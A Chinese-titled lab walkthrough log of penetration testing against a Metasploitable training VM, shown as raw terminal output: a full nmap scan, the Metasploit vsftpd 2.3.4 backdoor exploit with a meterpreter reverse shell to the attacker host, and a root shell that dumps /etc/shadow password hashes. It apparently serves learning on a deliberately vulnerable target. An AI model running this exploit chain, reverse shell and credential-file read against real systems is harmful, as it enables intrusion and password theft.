学习-------Kali Linux 渗透测试从扫描到拿下Root 权限

#nmap -sV -p- 172.30.30.129kali@kali:/etc/ssh$ nmap -sV -p- 172.30.30.129Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-03 08:50 -0400Nmap scan report for 172.30.30.129Host is up (0.00062s latency).Not shown: 65505 closed tcp ports (reset)PORT      STATE SERVICE     VERSION21/tcp    open  ftp         vsftpd 2.3.422/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)23/tcp    open  telnet      Linux telnetd25/tcp    open  smtp        Postfix smtpd53/tcp    open  domain      ISC BIND 9.4.280/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)111/tcp   open  rpcbind     2 (RPC #100000)139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)512/tcp   open  exec        netkit-rsh rexecd513/tcp   open  login       OpenBSD or Solaris rlogind514/tcp   open  tcpwrapped1099/tcp  open  java-rmi    GNU Classpath grmiregistry1524/tcp  open  bindshell   Metasploitable root shell2049/tcp  open  nfs         2-4 (RPC #100003)2121/tcp  open  ftp         ProFTPD 1.3.13306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu53632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.75900/tcp  open  vnc         VNC (protocol 3.3)6000/tcp  open  X11         (access denied)6667/tcp  open  irc         UnrealIRCd6697/tcp  open  irc         UnrealIRCd8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.18787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)34201/tcp open  status      1 (RPC #100024)34676/tcp open  mountd      1-3 (RPC #100005)48356/tcp open  nlockmgr    1-4 (RPC #100021)50705/tcp open  java-rmi    GNU Classpath grmiregistryMAC Address: 00:0C:29:A5:C7:EB (VMware)Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 134.97 seconds

#kali@kali:/etc/ssh$ msfconsolekali@kali:/etc/ssh$ msfconsoleMetasploit tip: Metasploit can be configured at startup, see msfconsole --help to learn more      .:okOOOkdc'           'cdkOOOko:.    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'  oOOOOOOOO.    .oOOOOoOOOOl.    ,OOOOOOOOo  dOOOOOOOO.      .cOOOOOc.      ,OOOOOOOOx  lOOOOOOOO.         ;d;         ,OOOOOOOOl  .OOOOOOOO.   .;           ;    ,OOOOOOOO.   cOOOOOOO.   .OOc.     'oOO.   ,OOOOOOOc    oOOOOOO.   .OOOO.   :OOOO.   ,OOOOOOo     lOOOOO.   .OOOO.   :OOOO.   ,OOOOOl      ;OOOO'   .OOOO.   :OOOO.   ;OOOO;       .dOOo   .OOOOocccxOOOO.   xOOd.         ,kOl  .OOOOOOOOOOOOO. .dOk,           :kk;.OOOOOOOOOOOOO.cOk:             ;kOOOOOOOOOOOOOOOk:               ,xOOOOOOOOOOOx,                 .lOOOOOOOl.                    ,dOd,                      .       =[ metasploit v6.4.135-dev                               ]+ -- --=[ 2,654 exploits - 1,338 auxiliary - 2,141 payloads     ]+ -- --=[ 432 post - 49 encoders - 14 nops - 12 evasion         ]Metasploit Documentation: https://docs.metasploit.com/The Metasploit Framework is a Rapid7 Open Source Projectmsf >

msf> use exploit/unix/ftp/vsftpd_234_backdoor[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcpmsf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 172.30.30.129RHOST => 172.30.30.129msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 172.30.30.130LHOST => 172.30.30.130msf exploit(unix/ftp/vsftpd_234_backdoor) > run

msf exploit(unix/ftp/vsftpd_234_backdoor) > run[*] Started reverse TCP handler on 172.30.30.130:4444 [*] 172.30.30.129:21 - Running automatic check ("set AutoCheck false" to disable)[*] 172.30.30.129:21 - FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)[+] 172.30.30.129:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present[+] 172.30.30.129:21 - Backdoor has been spawned![*] Meterpreter session 1 opened (172.30.30.130:4444 -> 172.30.30.129:33088) at 2026-08-03 08:55:33 -0400meterpreter >

meterpreter > shellProcess 5395 created.Channel 1 created.whoroot     pts/0        Aug  3 08:22 (:0.0)msfadmin pts/1        Aug  3 08:33 (172.30.30.1)ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00    inet 127.0.0.1/8 scope host lo    inet6 ::1/128 scope host        valid_lft forever preferred_lft forever2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000    link/ether 00:0c:29:a5:c7:eb brd ff:ff:ff:ff:ff:ff    inet 172.30.30.129/24 brd 172.30.30.255 scope global eth0    inet6 fe80::20c:29ff:fea5:c7eb/64 scope link        valid_lft forever preferred_lft forever3: eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop qlen 1000    link/ether 00:0c:29:a5:c7:f5 brd ff:ff:ff:ff:ff:ffhostnamemetasploitable

metasploitablecat /etc/shadowroot:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::daemon:*:14684:0:99999:7:::bin:*:14684:0:99999:7:::sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::sync:*:14684:0:99999:7:::games:*:14684:0:99999:7:::man:*:14684:0:99999:7:::lp:*:14684:0:99999:7:::mail:*:14684:0:99999:7:::news:*:14684:0:99999:7:::uucp:*:14684:0:99999:7:::proxy:*:14684:0:99999:7:::www-data:*:14684:0:99999:7:::backup:*:14684:0:99999:7:::list:*:14684:0:99999:7:::irc:*:14684:0:99999:7:::gnats:*:14684:0:99999:7:::nobody:*:14684:0:99999:7:::libuuid:!:14684:0:99999:7:::dhcp:*:14684:0:99999:7:::syslog:*:14684:0:99999:7:::klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::sshd:*:14684:0:99999:7:::msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::bind:*:14685:0:99999:7:::postfix:*:14685:0:99999:7:::ftp:*:14685:0:99999:7:::postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7:::mysql:!:14685:0:99999:7:::tomcat55:*:14691:0:99999:7:::distccd:*:14698:0:99999:7:::user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::telnetd:*:14715:0:99999:7:::proftpd:!:14727:0:99999:7:::statd:*:15474:0:99999:7:::exitmeterpreter > exit[*] Shutting down session: 1[*] 172.30.30.129 - Meterpreter session 1 closed.  Reason: Diedmsf exploit(unix/ftp/vsftpd_234_backdoor) > exitkali@kali:/etc/ssh$